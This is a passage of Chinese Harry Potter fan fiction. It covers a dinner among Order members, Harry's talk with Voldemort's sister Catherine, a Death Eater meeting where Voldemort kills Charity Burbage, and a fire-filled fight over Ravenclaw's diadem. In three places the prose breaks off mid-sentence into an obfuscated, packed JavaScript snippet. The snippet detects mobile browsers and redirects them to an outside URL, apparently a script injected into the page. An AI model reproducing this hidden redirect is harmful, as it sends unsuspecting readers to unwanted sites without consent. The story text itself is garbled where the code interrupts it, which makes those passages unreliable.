“他目前在感情上对巫师还是挺排斥的,”比尔说,“他现在还为巴格曼的那档子事儿气得要命呢,觉得魔法部掩盖了真相。你们知道,那些妖精始终没能从他手里拿到他们的金子——” 桌子中央传来一阵大笑,淹没了比尔没说完的话。弗雷德、乔治和罗恩在椅子上笑得前仰后合,似乎是被西里斯的什么笑话逗笑的。 如果说餐桌上有哪里没有笑声,那就是餐桌的另外一头,凯瑟琳和雷古勒斯坐在那边,一直在低声交谈着什么,他们看上去与餐桌上的气氛有些格格不入——哈利认为,这很有可能是因为他们是这顿晚餐的成员中唯二两个斯莱特林。换成把他一个人放进德拉科那帮斯莱特林当中,他完全能理解他们的沉默。 三份大黄面包屑,接着又是蛋奶糕,哈利牛仔裤的裤腰紧得难受了(这是很能说明问题的,因为那条牛仔裤本来是达力的)。哈利放下勺子时,饭桌上的谈话逐渐平静了下来。韦斯莱先生靠在椅子背上,一副吃饱喝足、身心放松的样子。唐克斯张着大嘴打哈欠,她的鼻子已经恢复了正常。金妮把克鲁克山从碗橱下面引了出来,这会儿正盘腿坐在地上,把一些黄油啤酒的软木塞滚来滚去,让克鲁克山追着玩儿。 “差不多该上床睡觉了,我想。”韦斯莱夫人打着哈欠说。 “还没有呢,莫丽。”西里斯把面前的空盘子推到一边,转脸望着哈利,“知道吗,我真为你感到吃惊呢。我以为你到这里的第一件事就是询问关于伏地魔的情况。” 屋里的气氛突然变了,速度如此之快,哈利还以为是摄魂怪来了。几秒钟前还是那样轻松悠闲,令人昏昏欲睡,现在却变得警觉,甚至是紧张了。听到伏地魔的名字,饭桌周围掠过一阵战栗。卢平刚才端起杯子正要喝酒,这时慢慢放下酒杯,露出警惕的神情。凯瑟琳和雷古勒斯也抬起头,在那之前他们似乎对视了一眼,然后看向西里斯,似乎在担心他说出什么不该说的话。 “我问了!”哈利反驳道,“我问了罗恩和赫敏,但他们说我们没被批准加入凤凰社,所以——” “他们说得对呀,”韦斯莱夫人说,“你们年纪还太小。”她笔直地坐在椅子上,两个拳头捏得紧紧的抱在怀里,睡意消失得无影无踪。 “从什么时候开始,我们必须先加入凤凰社才能提问题?”西里斯问。“哈利在那个麻瓜家里困了整整一个月。他有权利知道发生了什么——” “等一等!”乔治大声打断了他。 “为什么哈利的问题就能得到答复?”弗雷德气呼呼地问。 “一个月来我们一直想从你们嘴里问出点什么来,但你们什么也不肯告诉我们!”乔治说。 “你们年纪太小了,你们没有加入凤凰社,”弗雷德说,那又尖又细的声音活脱脱就是他母亲的,听着简直不可思议,“而哈利甚至还没有成年呢!” “没有人告诉你们凤凰社在做什么,这可不能怪我呀,”西里斯平静地说,“那是你父母的决定。而哈利则不同——” “我想,你没有忘记邓布利多说的话吧?”雷古勒斯适时地提到那个人的名字,“希望你不会因为私情而坏了大事。” “哪一部分?”西里斯的神情像一个准备迎战的人,似乎还在为刚才没能和雷古勒斯吵起来而感到遗憾。 “就是不告诉哈利他不需要知道的。”雷古勒斯冷冷地说,着重强调了最后几个字。 哈利、罗恩、赫敏、弗雷德和乔治的脑袋在布莱克兄弟之间转来转去,仿佛在观看网球场上的来回对打。金妮跪在一堆丢弃的黄油啤酒软木塞中间,呆呆地望着他们谈话,嘴巴微微张着。卢平眼睛一眨不眨地盯着西里斯。 “我只打算告诉哈利他需要知道的,雷古勒斯,”西里斯说,“但当时他和凯瑟琳都看见伏地魔复活的,”(这个词蹦出来的时候,餐桌旁的好几个人都打了个抖)“最起码,他有权和凯瑟琳一样知晓全部,但是邓布利多却并没有这个打算。” 西里斯把话题引到了凯瑟琳身上,哈利看到她的脸白了一瞬。 “那是因为我和哈利的情况有一些不同——而且,邓布利多不是说过今年他会亲自对哈利教学吗?我想他一定会和哈利交代更多的东西,甚至不止是凤凰社的内容。” 西里斯看到凯瑟琳开始说话,也就不再针对雷古勒斯。 “那好吧……行了,时间不早了,上楼睡觉吧。” * 等所有的人都走完,哈利终于找到了和凯瑟琳独自交谈的时间,西里斯知道哈利肯定会好奇凯瑟琳的事情,所以并没有阻拦。 “是啊,这也是邓布利多允许我说的一部分。”他点头说道。“不过你可以先亲自问问她,效果会更好。”然后,他就和雷古勒斯一前一后地进入了各自的卧室。 哈利和凯瑟琳回到二楼的客厅——他觉得自己是有很多话想说的,他不清楚自己是什么样的情绪,只是觉得浑身都不太对劲。 “呃……”正当哈利不知道把眼睛往哪里放的,斟酌如何开始话题的时候,凯瑟琳率先说话了。 “哈利,海格还好吗?” “哦——呃——挺好的。他和马克西姆女士的关系挺不错……”哈利倒是并不好奇为什么凯瑟琳会知道海格,因为学期结束的时候,海格在哈利的追问下终于承认他曾经和凯瑟琳是好朋友。 “他能找到一个心意相通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157102|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人真是不错。毕竟他在学生时代并不是特别受欢迎。”凯瑟琳微微笑起来,然后看向哈利。“对了,你想问我什么,直说就行。” “我很好奇,你居然能使用我的魔杖。”哈利想了半天,终于打算从这个话题开始。他掏出自己的魔杖,深色的木质杖身在灯光的下透着光泽。 “这大概就是缘分吧。我在以前本来打算买下这根魔杖,就差最后一步。因为当时我无法使用魔法……”凯瑟琳说道,“奥利凡德跟我说,他知道有一根魔杖适合我,当时我心动了。那天差一点就会被魔法部的人抓走。” 哈利回想起了一年级的时候奥利凡德说的那些看似奇怪的话,原来一切都有迹可循。但是,难道就连奥利凡德也认为,他将会去斯莱特林吗? “好吧……嗯……所以,你真的是伏地魔的妹妹?”哈利问道。 “是的。”凯瑟琳说道,“准确一点说,我是汤姆·马沃罗·里德尔的妹妹,不是伏地魔的。因为当时我对这个名字并没有什么好感度,所以还是喊他的名字……他当时为此很不高兴。” “噢——对不起——但是我觉得这一切都太神奇了,”哈利说,“你因为默默然死了,然后又被复活了……听起来太不可思议了。” 她是伏地魔的妹妹,但她又和他的父母和教父一起共事过,哈利终于明白这种矛盾的情绪是从何而起的了。 “你还能使用——呃,汤姆的魔杖。” 凯瑟琳微微笑起来。 “你们在我面前都按照我的习惯喊他汤姆了——是这样,不过我猜想主要原因是被他附身了,所以本身是他在使用自己的魔杖。” 凯瑟琳的这套说辞看似很合理,但是哈利觉得这一定与其他的东西有着联系。 “你不认为这是因为你们有血缘关系?”他问道,“他当时复活,也必须借助你的力量。” “也许吧,但是我不知道。”凯瑟琳说,然后她忽然又问:“哈利,他做了太多邪恶的事情,很多人都恨不得杀死他,你会觉得,我还要救回他的灵魂的事看起来很可笑吗?” “我想我能理解。”哈利说,“但是他杀了我的父母,我不可能想着救回他的灵魂。” 凯瑟琳点点头,但似乎也放松了一些。 “非常抱歉……哈利……但这一点我不会退让。”凯瑟琳说道,“我认为这样能让他重新变成汤姆,他会有变化的。是灵魂的残缺才让他逐渐失去人性,因此只有灵魂回归他才能真正为自己所作所为感到忏悔。” 哈利不太确定自己是否会喜欢凯瑟琳了,因为他们似乎站在一个不同的立场上面。 但凯瑟琳完全明白他的想法。 “汤姆以前不是这个样子的。他会有愧疚之心,他还会难过,会害怕。现在,他把自己伪装了起来,魔法让他找到了安全感,但事实上,魔法不是万能的。”凯瑟琳叹了一口气,又说,“……救世主的担子实在太重了,你不仅仅是为自己复仇。人们对你的期望不无道理。你很善良,也很优秀,而他也确实不值得被你宽容……” “邓布利多说,是他自己把预言变成了现实。但我认为那个救世主不是我。”哈利说,“我觉得那个预言说的是你。雷古勒斯说过,他是在七月底将你复活的。而且,汤姆对你很特别——他不准任何人提你的名字,而且无论在什么时候都把你放在最重要的位置,我认为这很明显。” 凯瑟琳微微有些吃惊。 “邓布利多给你看了他的记忆?” 哈利点了点头。 “……我哥哥不了解爱的能量,因此,他认为他不需要它。他以前还骂我是哑炮,我以为他只把我当成一个拖油瓶,一个陌生人。所以我认为我在他心里和其他麻瓜没有什么区别,不过现在你这样说,我倒是发现,感情确实是双向的,这是突破口。” “所以?” 凯瑟琳望向哈利翠绿的眼睛。 “所以,哈利,我们需要合作。不管那个预言指的是谁,我们都必须阻止他,而不是‘救世主’一个人的事情。”凯瑟琳举起了放在茶几上的报纸,展示给哈利看,“最近,阿兹卡班发生了大规模的越狱,是我哥哥把那些食死徒们放了出来。我们的时间很紧张,合作是最有效率的方法。” “我明白了。”哈利说道。 “那你能不能答应我一件事,哈利?” “什么事?” 哈利觉得凯瑟琳和邓布利多一样,似乎已经预料到了未来的一些事,所以总喜欢让别人提前答应他们什么。 “在必要的时候,你一定要答应把隐形衣借给我。” 哈利看向凯瑟琳,黑眼睛和绿眼睛的目光相撞,哈利觉得自己看到了凯瑟琳眼中闪过的悲伤,但是他没有看真切。 她似乎有让人难以拒绝请求的能力。 “我答应你。”哈利说。 80.chapter78 两个男人从虚空中突然现身,在月光映照的窄巷里相隔几米。他们一动不动地站立了一秒钟,用魔杖指着对方的胸口。接着,两人互相认了出来,便把魔杖塞进斗篷下面,朝同一方向快步走去。 “今天要小心。”其中一个人说道。 “他目前还不会怎样。”另一个男人说道。 小巷左边是胡乱生长的低矮的荆棘丛,右边是修剪得整整齐齐的高高的树篱。两人大步行走,长长的斗篷拍打着他们的脚踝。 “看来今天得迟到了,”说话的人是雷古勒斯,头顶上低悬的树枝不时地遮挡住月光,他英俊的五官显得忽明忽暗,“还好他为了惩罚卢修斯丢掉了日记本而选择把会议地点放在了马尔福庄园……” 斯内普点点头,但没有回应他。他们往右一转,离开小巷,进入一条宽宽的汽车道。高高的树篱也跟着拐了个弯,向远处延伸,两扇气派非凡的锻铁大门挡住了两人的去路。他们谁也没有停住脚步,而是像行礼一样默默地抬起左臂,径直穿了过去,就好像那黑色的锻铁不过是烟雾一般。 紫杉树篱使两人的脚步声听上去发闷。右边什么地方传来沙沙的响声,弄出声音的是一只白孔雀,在树篱顶上仪态万方地走着。 “这个卢修斯,总是搞得这么讲究,孔雀……”斯内普冷笑了一声,把魔杖塞回斗篷下面。 笔直的车道尽头,一幢非常体面的宅邸赫然出现在黑暗中,底层窗户的菱形玻璃射出闪亮的灯光。在树篱后面黑黢黢的花园里,什么地方有个喷泉在喷水。 斯内普和雷古勒斯吱嘎吱嘎地踩着砂砾路朝正门走去,刚走到跟前,不见有人开门,门却自动朝里打开了。 门厅很大,光线昏暗,布置得十分豪华,一条华贵的地毯几乎覆盖了整个石头地面。斯内普和雷古勒斯大步走过时,墙上那些脸色苍白的肖像用目光跟随着他们。两人在一扇通向另一房间的沉重的木门前停下脚步,迟疑了一下,斯内普转动了青铜把手。 客厅里满是沉默不语的人,都坐在一张装潢考究的长桌旁边。房间里平常用的家具被胡乱地推到墙边。华丽的大理石壁炉里燃着熊熊旺火,火光照着屋子,壁炉上方是一面镀金的镜子。斯内普和雷古勒斯在门口停留了一会儿,等适应了昏暗的光线后,他们的目光被长桌上方一幕最奇怪的景象吸引住了:一具神志似乎不清的人,头朝下悬在桌子上方,像是被一根无形的绳子吊着,慢慢旋转,身影映在镜子里,映在空荡荡的、擦得铮亮的桌面上。在座的那些人谁也没去看这幕奇异的景象,只有一个差不多正好位于它下方的脸色惨白的年轻人除外。他似乎无法克制自己,不时地往上扫一眼。 “雷古勒斯,西弗勒斯,”桌首响起一个冰冷、清晰的声音,“你们差点就迟到了。” 说话的人坐在壁炉正前方,雷古勒斯和斯内普一开始只能隐约分辨出他的轮廓。等他们走近了,那人才从阴影里闪现出来:乌黑的头发,一张俊美异常的脸,脸颊内凹,一双闪闪发亮的红眼睛,瞳孔是垂直的。他的肤色十分苍白,似乎发出一种珍珠般的光。 “来,坐我身边,”伏地魔指了指紧挨他两边的那两个空出的座位。两人在指定的位置上坐了下来。 桌旁大多数人的目光都在他们两人的身上来回逡巡,伏地魔则首先看向雷古勒斯。 “让你办的事,怎么样了?” “主人,下学期将会派多洛雷斯·乌姆里奇去学校里教学黑魔法防御术,她会在全校展开调查,邓布利多很快就会被赶下台。” “很好。我们的人已经打入了魔法部……那么凤凰社……”伏地魔看向斯内普。 “凯瑟琳受到了凤凰社的保护。”斯内普说,“邓布利多打算让她下学期伪装成哈利的同学进入霍格沃茨,这样一来,他就很有机会和凯瑟琳、哈利·波特单独授课。” “如此看来,凤凰社总算弄对了一件事,嗯?”坐在不远处的一个矮胖的男人说。他呼哧带喘地笑了几声,长桌旁的几个人也跟着笑了起来。 伏地魔没有笑。他将目光转向头顶上那具慢慢旋转的人/体,似乎陷入了沉思。 “主人,”亚克斯利说道,“德力士相信凯瑟琳是以学生的身份进入学校而不是教师——” 伏地魔举起一只苍白的大手,亚克斯利立刻不做声了,怨恨地看着伏地魔把目光又转向了雷古勒斯。 “预言球的位置,已经弄清楚了吗?” “位于神秘事务司的语言大厅第97排。”雷古勒斯说道。 “很好。”伏地魔微微勾起嘴角,火光在他的红眼睛里发出诡异的光芒,“今年内,我能看到魔法部垮台吗?” 大家又一次把脑袋都转了过来。雷古勒斯苍白的脸上露出一个笑。 “不需要垮台,魔法部里已经是我说了算。” 雷古勒斯周围的许多人露出钦佩的神情。 “这倒令人吃惊,”伏地魔说,“但你只有一个人,能否确定我们能够顺利拿到预言球,并活捉哈利·波特就是另外一件事了。” “是的——主人,的确如此——不过您大可放心,布莱克家族可以搞定这一切。” “卢修斯,贝拉特里克斯,你们带着几个人,等到哈利·波特等人一出来,就在那里捉住他们,然后,雷古勒斯,你和他们里应外合,把那个预言球交给我。” 卢修斯低头盯着自己的膝盖,然后应了一声。 贝拉则是无比兴奋地接受了这个任务。 伏地魔又抬起目光,望着那具慢慢旋转的人/体,一边继续说道:“在对付哈利·波特这件事上面,我已经出现了太多的失误……” 长桌旁的人战战兢兢地注视着伏地魔,从他们的表情看,似乎每个人都担心自己会因为哈利·波特仍然活着而受到责难。不过,伏地魔不像是针对他们某一个人,而更像是自言自语,他的目光仍然对着上方那具昏迷的人/体。 “我太大意了,只有最周密的计划才不会被这些东西破坏。我那亲爱的妹妹,总是在我办重要事情的时候出来捣乱……我原本能抓住的弗洛林·福斯科和奥利凡德,都被她救走了——不能再这样纵容她了……但这只是其中的一个因素。我早该料到,哈利·波特并不是因为自己的实力才能够活下来的。” 伏地魔又看着自己的追随者们紧张的面孔,继续说道,“我妹妹……我会亲自收拾她。现在,除了拿到预言球,还有另外一个重要的任务……谁愿意帮我杀掉邓布利多?” 周围的人脸上满是惊愕,就好像他刚才宣布说要借他们一条命似的。 “没有人自愿?”伏地魔说,“让我想想……德拉科。父债子偿,我想,你对你的校长应该积怨已久了吧?” 德拉科·马尔福惶恐地抬起头,在看了瞥了一眼伏地魔后立刻低下了头去。在火光的映照下,他的皮肤显得苍白得像纸一样,一双眼睛深陷下去,浅色的眼睛里满是恐惧,神色忧郁。 “不!”纳茜莎忍不住惊叫出声,然后被坐在一旁的她姐姐贝拉特里克斯狠狠瞪了一眼。 “纳茜莎,你有什么意见?” 伏地魔冷酷的嘴已经不动了,但低低的嘶嘶声似乎还在响着。这声音越来越大,一两个巫师忍不住打了个寒战,只听见桌子底下的地板上有个笨重的东西在爬。 巨蛇探出身,慢慢爬上伏地魔的椅子。它越攀越高,似乎永无止境,然后把身子搭在伏地魔的肩膀上。它的身体和人的大腿一样粗,眼睛一眨不眨,瞳孔垂直着。伏地魔用细长的手指漫不经心地抚摸着巨蛇,眼睛仍然望着卢修斯·马尔福。 纳茜莎缓缓地转过头,目视着前方,脸色和儿子的一样苍白,长长的金黄色头发披散在背后,可是在桌子底下,她用细长的手指轻轻握了握儿子的手。 “对不起,主人……我没什么要说的。” 卢修斯脸色蜡黄,他想反驳什么,但是在对上那双可怕的红眼睛时,所有的说辞都被咽回了肚子里。 “为什么马尔福一家对他们的境况表现得这么不高兴呢?这么多年来,他们不是一直口口声声地宣称希望我复出,希望我东山再起吗?” “那是当然,主人,”卢修斯·马尔福说。他用颤抖的手擦去嘴唇上边的汗,“我们确实是这样——现在也是。” 在马尔福左边,他的妻子纳西莎古怪而僵硬地点点头,眼睛躲避着伏地魔和那条蛇。德拉科,刚才一直盯着长桌上方那具毫无生气的人/体,此刻迅速扫了一眼伏地魔,又赶紧移开目光,不敢跟他对视。 “很好,那么,我又给了你们马尔福家族一个光荣的机会。”伏地魔冷冷地说道。 德拉科甚至没能为此说上一句话。 “主人,”说话的是坐在桌子中间的一个黑皮肤的女人,她激动得声音发紧,“您待在我们家里是我们的荣幸。没有比这更令人高兴的了。” 贝拉特里克斯坐在她妹妹旁边。她有着黑头发,泡肿眼,阿兹卡班的生活让她变得神色癫狂,由于失去了凯瑟琳的灵魂,昔日的美丽容颜荡然无存,下巴变得很宽,看起来也既刻薄又凶残。 纳西莎僵硬地坐在那里,面无表情,贝拉特里克斯则朝伏地魔探过身子,似乎用语言还不能表达她渴望与他接近的意愿。 “没有比这更令人高兴的了。”伏地魔学着她的话,把脑袋微微偏向一边,垂眸打量着贝拉特里克斯,“这话从你嘴里说出来,可是意义非凡呢……贝拉特里克斯。” 贝拉特里克斯顿时脸涨得通红,眼睛里盈满喜悦的泪水。 “主人知道我说的都是真心话!” “没有比这更令人高兴的了……跟我听说的你们家发生的各种喜事一样?” 贝拉特里克斯呆呆地望着他,嘴唇微微张着,似乎被弄糊涂了。 “我不明白您的意思,主人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178239|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我说的是你的外甥女,贝拉特里克斯……也是你们的,卢修斯和纳西莎,还是你的,雷古勒斯。你们的外甥女刚刚嫁给了狼人,莱姆斯·卢平。” 桌子周围爆发出一片讥笑声。许多人探身向前,互相交换着愉快的目光,有几个还用拳头擂起了桌子。巨蛇不喜欢这样的骚动,气呼呼地张大嘴巴,发出嘶嘶的声音。可是食死徒们没有听见,莱斯特兰奇、马尔福一家,还有布莱克同时受到羞辱,令他们太开心了。 贝拉特里克斯刚才还幸福得满脸通红,可此刻脸上红一块、白一块的,难看极了。 “主人,尼法朵拉不是我们的外甥女,”她在闹哄哄的欢笑声中大声喊道,“自从我们的妹妹嫁给那个泥巴种之后,我们——纳西莎和我——从来都没有正眼瞧过她。那个孩子,还有她嫁的那个畜/牲,都跟我们没有任何关系。” “雷古勒斯,你说呢?”伏地魔问,他的声音虽然很轻,却清晰地盖过了尖叫声和嘲笑声,“你会去照料那些小狼崽子吗?” 场面更热闹了。 雷古勒斯的嘴抿成了一条线,他苍白的脸上浮现出淡淡的红晕,然后把头低了下去,声音微不可闻。 “我母亲早已将她除名。” “够了,”伏地魔抚摸着生气的巨蛇,说道,“够了。” 笑声立刻平息了。 “沃尔布加做的非常对。那么你呢,雷古勒斯?长期以来,我们的许多最古老的家族变得有点病态了。”他说。贝拉特里克斯屏住呼吸,恳切地盯着他。“你们必须修剪枝叶,让它保持健康,不是吗?砍掉那些威胁到整体健康的部分。” “是的,主人,”贝拉特里克斯小声说,眼里又盈满了感激的泪水,“只要有机会!” “会有机会的,”伏地魔说,“在你们家族里,在整个世界上……我们都要剜去那些侵害我们的烂疮,直到只剩下血统纯正的巫师……” 伏地魔举起紫杉木的魔杖,对准悬在桌子上方微微旋转的人体,轻轻一挥。那人呻/吟着醒了过来,开始拼命挣脱那些看不见的绳索。 “你认得出我们的客人吗,西弗勒斯?”伏地魔问。 斯内普抬起眼睛望着那张颠倒的脸。 此刻,所有的食死徒都抬头看着这个被俘的人,好像他们得到批准,可以表现出他们的好奇心了。那女人旋转着面对炉火时,她用沙哑而恐惧的声音说道,“西弗勒斯……求求你……” “……认出来了。” 斯内普的嘴几乎没有动。 “你呢,德拉科?”伏地魔转动魔杖,那个犯人又缓缓地转向德拉科那一侧,伏地魔用那只没拿魔杖的手抚摸着巨蛇的脑袋,问道。 德拉科猛地摇了一下头。现在这女人醒了,他倒似乎不敢再看她了。 “不过你大概没有上过她的课,”伏地魔说,“有些人可能不认识她,我来告诉你们吧,今晚光临我们这里的是凯瑞迪·布巴吉,她此前一直在霍格沃茨魔法学校教书。” 桌子周围发出轻轻的、恍然大悟的声音。一个宽肩膀、驼背、牙齿尖尖的女人咯咯地笑了起来。 “对……布巴吉教授教巫师们的孩子学习关于麻瓜的各种知识……说麻瓜和我们并没有多少差别……” 一个食死徒朝地下吐了口唾沫。凯瑞迪·布巴吉又转过来面对着斯内普。 “西弗勒斯……求求你……求求你……” “安静。” 伏地魔说着又轻轻一抖他的魔杖,凯瑞迪像被堵住了嘴,立即不做声了。 “布巴吉教授不满足于腐蚀毒化巫师孩子的头脑,上个星期还在《预言家日报》上写了篇文章,慷慨激昂地为泥巴种辩护。她说巫师必须容忍那些人盗窃他们的知识和魔法。还说纯种巫师人数的减少是一种极为可喜的现象……她希望我们都跟麻瓜……毫无疑问,还有狼人……通婚……” 这次没有人笑。因为伏地魔的声音里透着愤怒和轻蔑。 “更可恶的是。她的父亲,诺亚·布巴吉,曾经在课堂上公开羞辱我妹妹。默默然是祸害?我可不这么认为。如果我们能有一位默然者的助力,那么在清除麻瓜的道路上,或许能够更加畅通无阻。” 食死徒们都寂静无声。 凯瑞迪·布巴吉再次转过来面对着斯内普。泪水从她的眼睛里涌出,流进了头发里。 斯内普面一言不发,幽深的黑眸里看不出情绪。 伏地魔将那个女人推得离他们远了一些,然后举起了魔杖。 “阿瓦达索命!” 一道绿光照亮了房间的每个角落。 轰隆一声,凯瑞迪落到桌面上,震得桌子颤抖着发出嘎吱声。几个食死徒惊得缩进椅子里。德拉科从座位滑到了地板上。 “用餐吧,纳吉尼。”伏地魔轻声说。 巨蛇晃晃悠悠地离开了他的肩头,慢慢爬向光滑的木头桌面。 81.chapter79 暑假里,住在布莱克家里的奥利凡德送给凯瑟琳一根魔杖:紫杉木,凤凰羽毛,十又四分之一英寸长。然后,她带着那根魔杖跟着哈利一同回到了霍格沃茨。 十一月份。 距离哈利组建DA过去了两个月。不幸的是,乌姆里奇使用了各种规定,将邓布利多送去审查——他的校长职位被暂停了,乌姆里奇成为了代理校长。 现在,哈利、凯瑟琳、赫敏和罗恩前往有求必应屋。经过两个月的暗中调查,他们四人几乎可以肯定,伏地魔把拉文克劳的冠冕藏在了这里。 我需要那个藏着所有东西的地方。 哈利在脑海里恳求着。他们第三次跑过的时候,门显现出来。 当他们穿过了门口,把屋子的门在身后关上后,一切的噪声都消失了,世界安静下来。他们在一个有着城市外表和一个大教堂大小的地方,它高耸的墙是由成千上万个早已经去世了的学生藏起来的东西堆积起来的。 “他从来没想到过别人也能进来?”罗恩问,他的声音在寂静中回荡。 “他以为他是唯一的一个,”哈利说,然后他又看了一眼走在旁边的凯瑟琳。 “或者说,他太大意了。” “王冠飞来,”赫敏喊道,然而,并没有什么东西穿过空气向他们飞来。这个房间看上去像是古灵阁的拱顶,不像是能轻易找出藏着的什么东西似的。 “我们分头找,”哈利告诉三个同伴。 他们加速跑上一条临近的走道;哈利能听到罗恩和赫敏的脚步声在这些成堆的垃圾,瓶子,帽子,箱子,椅子,书,武器,扫帚柄,球棒中回响着。 “在这附近的一个地方,”哈利自言自语地咕哝着。“一个地方……一个地方……” 凯瑟琳跟在哈利身边,他们在迷宫中越走越深,然后她忽然停下了脚步。 “哈利,我知道它被放在哪里了。”凯瑟琳轻声说。“是共鸣……你感受到了吗?” 她走到了哈利前面,哈利跟着她。他感觉自己的呼吸似乎变大声了,而越走近那一堆杂物,他越觉得自己的灵魂在无法控制地颤抖。 然后,他们同时看见了。 就在前面,那个油漆起泡的旧橱柜的顶上,一个有麻点的巫师石像戴着一顶肮脏的破旧卷发和一个古老而华丽的王冠。 闪烁着幽蓝的光泽的宝石镶嵌在纯银制鹰的肚子上,鹰的两个翅膀张开,每一片羽毛上都点缀着一颗浅蓝色的钻石,在最下面还刻着一行小字: 【无法估量的智慧是人类的最大财富】 高贵且美丽的王冠即使被隐藏在了一堆肮脏的假发上,也依旧熠熠生辉。 只有几步之遥了,凯瑟琳把手伸了出去。 然而这时,他们身后响起一个声音。 “别动,波特——还有,里德尔小姐。” 哈利转过身来。克拉布和高尔肩并肩地站在他后面,手中的魔杖直指着哈利。从他们带着嘲笑的脸庞的间隙中,哈利看到了德拉科·马尔福。 “你们三个怎么没和伏地魔一起?”哈利问。 “我们会得到奖励的,”克拉布说。对他那样魁梧的人来说,他的声音是出奇的柔和,哈利以前几乎从来没有听到过他说话——就像是个被许诺了一大袋子糖果的小孩子。 “我们不回去,波特。我们决定不离开。决定把你带给他。” “好计划,”哈利用嘲笑的赞美语气说。“你们是怎么进来的?” “别以为只有你知道这个地儿。”马尔福用生脆的声音说,“我也知道怎么能进来。” 哈利没有回话,因为他用余光看到凯瑟琳伸手取下了那顶王冠。 瞬间,克拉布用自己的魔杖指着足有五十英尺高的旧家具,破损的皮箱,旧书,长袍和其他分辨不出的垃圾组成的小山喊道:“速速塌陷!” 那墙开始摇晃,顶部的三分之一开始崩塌,落到旁边罗恩站着的走道里。 “罗恩!”哈利怒吼着,在看不见的地方传来赫敏的尖叫,哈利听到旁边的墙崩塌后,无数的物体落到地面上的声音,他掏出自己的魔杖指着墙壁说:“咒立停!”它又变得稳定了下来。 “不!”马尔福抓着克拉布胳膊喊道,后者准备重复他的咒语。“你想砸到黑魔王的妹妹?” “我不会的。”克拉布说,努力想挣脱出来。“我的魔杖准头很好。” “你不能这样不考虑后果!”德拉科依旧拽着克拉布的袖子。 “考虑后果?”克拉布带着掩饰不住的残暴转向马尔福。“谁在乎你的后果?我再也不会听你的了,德拉科。你和你爸爸玩完了。” “哈利!”罗恩在旁边的垃圾堆里又喊道,“出什么事了?” “哈利!”克拉布模仿着说。“出什么事了……不,波特!钻心剜骨!” 哈利冲向另外一边的走道,他发现凯瑟琳不见了。 “住手!”马尔福极度愤怒地大喊,他的声音的巨大的空间中回荡,“黑魔王想要他活着――” “怎么?我并没杀了他啊,不是吗?”克拉布怒吼道,把马尔福钳住着他的胳膊甩开,“但是如果我能杀了他的话,我会的,黑魔王无论如何是想让他死,有什么不同?” 一道猩红色的光芒在距离哈利几英寸的地方炸开,赫敏转到了他身后的拐弯处并向克拉布的头部发射了一个昏迷咒。马尔福把他拖到一边,他才躲了过去。 “是那个泥巴种!阿瓦达索命!” 哈利看到赫敏跳到了一边,他脑中对克拉布想要杀人的愤怒盖过了一切其他的东西。他向克拉布发射了一个昏迷咒,克拉布突然撞了过来,把他的魔杖撞掉了,滚到了一大堆坏家具和骨头下面看不到的地方。 “别杀他!别杀他!”马尔福对克拉布和高尔大喊——那两人都用手中的魔杖指着哈利:他们瞬间的犹豫就是哈利想要的。 “除你武器!” 高尔的魔杖从他的手中飞了出去,消失在他身后的垃圾山中;高尔蠢笨地开始往上跳,想把魔杖拿回来;马尔福跳起来躲开了赫敏的第二个昏迷咒,罗恩则是突然出现在走道的一头,向克拉布发射了一个全身束缚咒,差了一点,没击中。 克拉布滚着翻了个身,再次尖叫着,“阿瓦达索命!”罗恩跳离了视线躲开那一道绿光。没有魔杖的马尔福在赫敏冲他们发射魔咒的时候躲到了一个三脚书橱后面,赫敏出来就给了高尔一个昏迷咒,但是他被马尔福拉着躲开了。 “凯瑟琳拿到王冠了,我们快去找她!”哈利冲她大喊,“我去帮罗恩的时候你过去找――” “哈利!”赫敏的尖叫打断了他剩下的话。 他身后的一个吼叫着翻滚着的声音给了他一个警告。 转过身,他看到了不同寻常规模的火焰追赶着他们,吞噬着两旁的垃圾山,离着他们近若咫尺的地方烟尘纷纷扬扬。 “清水如泉!”哈利大叫,但是魔杖顶端喷出的水立刻就蒸发了。 “快跑!”马尔福和高尔跑着;克拉布超过了他们所有人,现在看上去很害怕;哈利,罗恩和赫敏紧跟其后,火焰在后面紧追不舍。 这不是普通的火,显然,克拉布用了一个哈利从来不知道的咒语。当他们转过一个弯后,那火仍然追赶着他们,就好像它是活的,有生命、有感知力、一门心思地想要杀死他们。现在那火焰又变异了,形成一堆凶残的野兽的样子:燃烧着的大毒蛇,银蛟和龙升起又落下,几个世纪的废墟被它们的爪子高高地抛起来,落入它们那长着长牙的嘴里。 凯瑟琳不见了,马尔福,克拉布,和高尔也从他们的视线里消失了。 哈利,罗恩和赫敏突然停了下来。火焰形成的怪兽把他们团团围住,越绕越紧,它们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178240|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 